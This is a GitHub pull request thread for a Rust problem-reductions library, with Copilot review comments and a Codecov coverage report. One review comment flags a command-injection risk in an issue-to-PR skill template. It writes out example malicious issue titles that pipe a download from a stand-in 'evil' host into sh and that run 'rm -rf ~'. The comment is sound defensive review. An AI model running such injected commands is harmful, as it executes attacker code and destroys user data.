Fix complexity inconsistencies, enforce overhead, add missing variants

[GiggleLiu]

Summary

• Make overhead mandatory in #[reduction] proc macro — missing overhead now produces a compile error instead of silently defaulting to empty
• Fix 11 complexity strings in declare_variants! to match paper ground truth (best known algorithms instead of naive brute-force bounds)
• Add declare_variants! to 3 models that were missing it: BicliqueCover, BMF, PaintShop

Test plan

• make test — all 1526 tests pass
• make clippy — no warnings
• make rust-export — regenerated successfully

🤖 Generated with Claude Code

[Copilot]

Pull request overview

This PR tightens reduction metadata correctness by making #[reduction] overhead explicit, aligning declared variant complexities with the paper’s stated best-known bounds, and ensuring missing models participate in the variant registry used by the reduction graph/documentation pipeline.

Changes:

• Enforce overhead = { ... } as a required argument to the #[reduction] proc macro (missing overhead becomes a compile error).
• Update multiple declare_variants! complexity strings to reflect best-known algorithms (and adjust the unit test accordingly).
• Add missing declare_variants! registrations for BicliqueCover, BMF, and PaintShop, and extend paper references/text accordingly.

Reviewed changes

Copilot reviewed 18 out of 18 changed files in this pull request and generated 2 comments.

Show a summary per file

File	Description
src/unit_tests/rules/graph.rs	Updates expected complexity string for MIS default variant.
src/models/specialized/paintshop.rs	Adds declare_variants! entry for PaintShop.
src/models/specialized/factoring.rs	Updates Factoring complexity string.
src/models/specialized/bmf.rs	Adds declare_variants! entry for BMF.
src/models/specialized/biclique_cover.rs	Adds declare_variants! entry for BicliqueCover.
src/models/satisfiability/ksat.rs	Updates K3 SAT complexity string.
src/models/optimization/ilp.rs	Updates ILP complexity string.
src/models/optimization/closest_vector_problem.rs	Updates CVP complexity strings.
src/models/graph/traveling_salesman.rs	Updates TSP complexity string.
src/models/graph/minimum_vertex_cover.rs	Updates MVC complexity string.
src/models/graph/minimum_dominating_set.rs	Updates MDS complexity string.
src/models/graph/maximum_independent_set.rs	Updates MIS complexity strings across graph variants.
src/models/graph/maximum_clique.rs	Updates Maximum Clique complexity string.
src/models/graph/maximal_is.rs	Updates maximal IS enumeration complexity string.
src/models/graph/max_cut.rs	Updates MaxCut complexity string.
problemreductions-macros/src/lib.rs	Makes overhead mandatory for #[reduction] and emits an error if missing.
docs/paper/references.bib	Adds a new bibliographic reference (alber2004).
docs/paper/reductions.typ	Extends MIS discussion to cite geometric separation results and new reference.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The new BibTeX entry uses LaTeX accent escapes in the author field (e.g., Ji\v{r}\'{\i}), while the rest of references.bib appears to use plain text. Typst/Bib parsers often don't fully expand LaTeX macros, which can lead to incorrect rendering in the compiled paper. Consider replacing the escapes with the actual Unicode characters (e.g., "Jiří Fiala") to ensure consistent bibliography output.

[Copilot]

The compile error text for missing overhead is a bit ambiguous: it says "requires overhead = { ... }" but the actual syntax is #[reduction(overhead = { ... })]. It may be clearer to include the full attribute form (and/or a short example), so users immediately know what to paste when they hit this error.

Suggested change

	"#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.",
	"Missing overhead specification. Use #[reduction(overhead = { ... })] and specify overhead expressions for all target problem size fields.",

[codecov]

Codecov Report

❌ Patch coverage is 96.01874% with 17 lines in your changes missing coverage. Please review.
✅ Project coverage is 96.88%. Comparing base (9ad1678) to head (e4d81a7).
⚠️ Report is 1 commits behind head on main.

Files with missing lines	Patch %	Lines
src/unit_tests/rules/registry.rs	87.05%	11 Missing ⚠️
src/expr.rs	97.94%	3 Missing ⚠️
src/models/specialized/circuit.rs	0.00%	3 Missing ⚠️

Additional details and impacted files

@@            Coverage Diff             @@
##             main     #112      +/-   ##
==========================================
- Coverage   96.89%   96.88%   -0.01%     
==========================================
  Files         200      200              
  Lines       27099    27544     +445     
==========================================
+ Hits        26258    26687     +429     
- Misses        841      857      +16     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

[Copilot]

Pull request overview

Copilot reviewed 31 out of 31 changed files in this pull request and generated 3 comments.

Comments suppressed due to low confidence (1)

.claude/skills/issue-to-pr/SKILL.md:107

• The shell commands building git commit and gh pr create arguments interpolate the GitHub issue title (<title>) directly into double-quoted strings, which allows command injection if an attacker opens an issue with a crafted title containing shell metacharacters (e.g., $(curl https://evil | sh) or "; rm -rf ~; echo "). When /issue-to-pr is run on such an issue and this template is followed literally, the generated command line will execute the injected payload on the developer/automation host. To fix this, ensure the issue title is safely escaped or passed via a variable (or --file input) rather than inlined into the shell command, and strip or neutralize shell metacharacters before constructing any command that includes user-controlled text.

# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>

# Stage the plan file
git add docs/plans/<plan-file>.md

# Commit
git commit -m "Add plan for #<number>: <title>"

# Push
git push -u origin issue-<number>-<slug>

# Create PR
gh pr create --title "Fix #<number>: <title>" --body "
## Summary
<Brief description>

Closes #<number>"

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The new Factoring complexity string references num_bits, but this model doesn’t define a num_bits() getter (it has m()/n() and num_bits_first()/num_bits_second()). This makes the complexity metadata inconsistent with the model’s size parameters and can be confusing/misleading in the exported docs. Consider expressing the bit-length in terms of existing fields (e.g., m + n, or num_bits_first + num_bits_second) or adding a num_bits() helper that matches the complexity expression.

Suggested change

	Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))",
	Factoring => "exp((m + n)^(1/3) * log(m + n)^(2/3))",

[Copilot]

The regex alternation here uses an unescaped |, but the same checklist uses escaped alternation (\|) in other Grep patterns below. If the Grep tool is using basic regex, this pattern will match the literal | instead of acting as alternation, causing the checklist to miss valid impls. Use a consistent regex style (e.g., OptimizationProblem\|SatisfactionProblem for basic regex, or switch all alternations to unescaped | if Grep is extended regex).

Suggested change

	| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` |
	| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` |

[Copilot]

The pre-flight checks say to git checkout issue-<number>-<slug> without -b if the branch already exists, but the example snippet always runs git checkout -b issue-<number>-<slug>, which will fail on retries. Consider updating the snippet to reflect the conditional logic (or show both commands in an if/else).

[Copilot]

Pull request overview

Copilot reviewed 42 out of 42 changed files in this pull request and generated 4 comments.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The exported Factoring complexity references num_bits, but the Factoring model exposes m/n (and num_bits_first/num_bits_second) — there is no num_bits getter/field. This makes the JSON inconsistent with src/models/specialized/factoring.rs and breaks runtime evaluation if these strings are ever parsed. Please regenerate/fix this entry to use the same variables as the Rust model (e.g., exp((m + n)^(1/3) * log(m + n)^(2/3))).

Suggested change

	"complexity": "exp(num_bits^(1/3) * log(num_bits)^(2/3))"
	"complexity": "exp((m + n)^(1/3) * log(m + n)^(2/3))"

[Copilot]

Expr::parse leaks memory for every variable identifier via Box::leak(...). Since Expr::parse is a public API and may be called on arbitrary runtime input, this creates unbounded growth across parses (even for repeated variable names). Consider avoiding leaks by interning identifiers (e.g., global cache) or changing the runtime parser/AST to store owned names (e.g., String/Arc<str>) instead of requiring &'static str.

[Copilot]

The exported MaxCut complexity uses a symbolic constant (omega) in the expression. This is inconsistent with the Rust declare_variants! entry (which uses a concrete numeric exponent) and also won’t evaluate correctly if parsed (missing omega defaults to 0). Please regenerate/fix the export to inline the numeric bound (e.g., 2^(2.372 * num_vertices / 3)).

Suggested change

	"complexity": "2^(omega * num_vertices / 3)"
	"complexity": "2^(2.372 * num_vertices / 3)"

[Copilot]

The branch name issue-<number>-<slug> is interpolated directly into shell commands without quoting or sanitization. If <slug> ever contains shell metacharacters derived from issue titles or user-provided text (e.g., ;, &&, $(), backticks), running this skill could execute arbitrary commands on the developer machine when git checkout/git push are invoked. To harden this flow, construct the branch name from a sanitized slug restricted to safe characters (e.g., [A-Za-z0-9_-]) or pass it via a quoted variable instead of embedding it inline in the command text.

[Copilot]

Pull request overview

Copilot reviewed 42 out of 42 changed files in this pull request and generated 2 comments.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

Expr::parse() is a public API that intentionally leaks every parsed variable name via Box::leak. Even with the doc warning, this creates an unbounded memory growth footgun for any downstream caller (or for accidental use outside tests). Consider gating runtime parsing behind #[cfg(test)]/a feature flag, or deduplicating leaked identifiers with a small global interner so repeated parses of the same variable don’t leak repeatedly.

Suggested change

	/// Panics if the expression string has invalid syntax.
	pub fn parse(input: &str) -> Expr {
	parse_to_expr(input)
	.unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}"))
	}
	/// Panics if the expression string has invalid syntax.
	#[cfg(any(test, feature = "runtime_expr_parse"))]
	pub fn parse(input: &str) -> Expr {
	parse_to_expr(input)
	.unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}"))
	}
	/// Fallback `Expr::parse` for builds where runtime parsing is disabled.
	///
	/// This version is compiled for non-test builds without the
	/// `runtime_expr_parse` feature. It always panics to avoid exposing a
	/// leaking runtime parser by default.
	#[cfg(not(any(test, feature = "runtime_expr_parse")))]
	pub fn parse(_input: &str) -> Expr {
	panic!(
	"Expr::parse is disabled in this build. Enable the `runtime_expr_parse` \
	Cargo feature to use runtime expression parsing (which leaks variable \
	names via Box::leak), or construct `Expr` values programmatically."
	);
	}

[Copilot]

For legacy overhead syntax, the generated overhead_eval_fn unconditionally panics at runtime. Since ReductionEntry::overhead_eval_fn is now a required field, any reductions still using the legacy overhead form (including macro-generated ones) will carry a latent runtime crash if overhead_eval_fn is ever used outside these tests. Consider either migrating remaining legacy call sites to the parsed field = "expr" form, or changing the API/codegen to make overhead_eval_fn optional / non-panicking for legacy entries (and document the behavior either way).